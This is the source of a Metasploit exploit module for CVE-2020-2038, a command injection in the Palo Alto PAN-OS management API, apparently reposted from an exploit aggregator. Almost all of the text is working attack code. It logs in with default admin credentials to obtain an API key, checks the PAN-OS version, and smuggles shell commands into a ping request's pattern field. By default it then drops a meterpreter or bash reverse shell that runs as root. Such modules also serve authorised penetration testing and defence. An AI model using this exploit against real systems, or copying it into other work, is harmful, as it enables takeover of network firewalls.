Share
## https://sploitus.com/exploit?id=PACKETSTORM:168408
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
require 'ipaddr'  
  
class InvalidRequest < StandardError  
end  
  
class InvalidResponse < StandardError  
end  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Palo Alto Networks Authenticated Remote Code Execution',  
'Description' => %q{  
An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated  
administrators to execute arbitrary OS commands with root privileges.  
This issue impacts PAN-OS versions < 10.0.1, < 9.1.4 and < 9.0.10  
},  
'Author' => [  
'Mikhail Klyuchnikov', # Vulnerability discovery  
'Nikita Abramov', # Vulnerability discovery  
'UnD3sc0n0c1d0', # Exploit  
'jheysel-r7' # msf module  
],  
'References' => [  
['CVE', '2020-2038'],  
['URL', 'https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/'],  
['URL', 'https://security.paloaltonetworks.com/CVE-2020-2038'],  
['URL', 'https://github.com/und3sc0n0c1d0/CVE-2020-2038'] # Exploit  
],  
'DisclosureDate' => '2020-09-09',  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'Privileged' => true,  
'Targets' => [  
[  
'Linux ',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'CmdStagerFlavor' => %i[echo printf],  
'Type' => :linux_dropper,  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'Unix In-Memory',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [false, 'PAN-OS administrator username', 'admin']),  
OptString.new('PASSWORD', [false, 'Password for username', 'admin'])  
]  
)  
end  
  
def check  
print_status('Authenticating...')  
begin  
@api_key = api_key  
rescue InvalidRequest, InvalidResponse => e  
return Exploit::CheckCode::Safe("Error retrieving API key: #{e.class}, #{e}")  
end  
res = send_request_cgi({  
'method' => 'GET',  
'keep_cookies' => 'true',  
'uri' => normalize_uri(target_uri.path, 'api/'),  
'vars_get' => {  
'type' => 'version',  
'key' => @api_key  
}  
})  
  
return CheckCode::Unknown('The API did not respond to the request for the version of PAN_OS') unless res&.body  
  
version = Rex::Version.new(res.get_xml_document.xpath('/response/result/sw-version').text)  
  
if version >= Rex::Version.new('9.0.0') && version < Rex::Version.new('9.0.10') ||  
version >= Rex::Version.new('9.1.0') && version < Rex::Version.new('9.1.4') ||  
version >= Rex::Version.new('10.0.0') && version < Rex::Version.new('10.0.1')  
return Exploit::CheckCode::Appears  
end  
  
Exploit::CheckCode::Safe  
end  
  
def api_key  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api/'),  
'vars_get' => {  
'type' => 'keygen',  
'user' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}  
})  
  
if res.nil?  
raise InvalidRequest, 'Unreachable'  
end  
  
if res.code == 401  
raise InvalidRequest, 'Server returned HTTP status 401 - Authentication failed'  
end  
  
if res.code == 403  
raise InvalidRequest, 'Server returned HTTP status 403 - Authentication failed with "Invalid Credentials"'  
end  
  
if res.body.blank?  
raise InvalidResponse, 'Empty reply from server'  
end  
  
key = res.get_xml_document.xpath('/response/result/key')&.text  
  
if key.nil?  
raise InvalidResponse, 'Empty reply from server'  
end  
  
print_good('Successfully obtained api key')  
  
key  
end  
  
def execute_command(cmd, _opts = {})  
payload = "<cms-ping><host>#{IPAddr.new(rand(2**32), Socket::AF_INET)}</host><count>#{rand(1..50)}</count><pattern>111<![CDATA[||#{cmd}||]]></pattern></cms-ping>"  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api/'),  
'vars_get' => {  
'cmd' => payload,  
'type' => 'op',  
'key' => @api_key  
}  
})  
end  
  
def exploit  
begin  
@api_key ||= api_key  
rescue InvalidRequest, InvalidResponse => e  
fail_with(Failure::UnexpectedReply, "Error retrieving API key: #{e}")  
end  
print_status('Exploiting...')  
case target['Type']  
when :unix_memory  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
  
end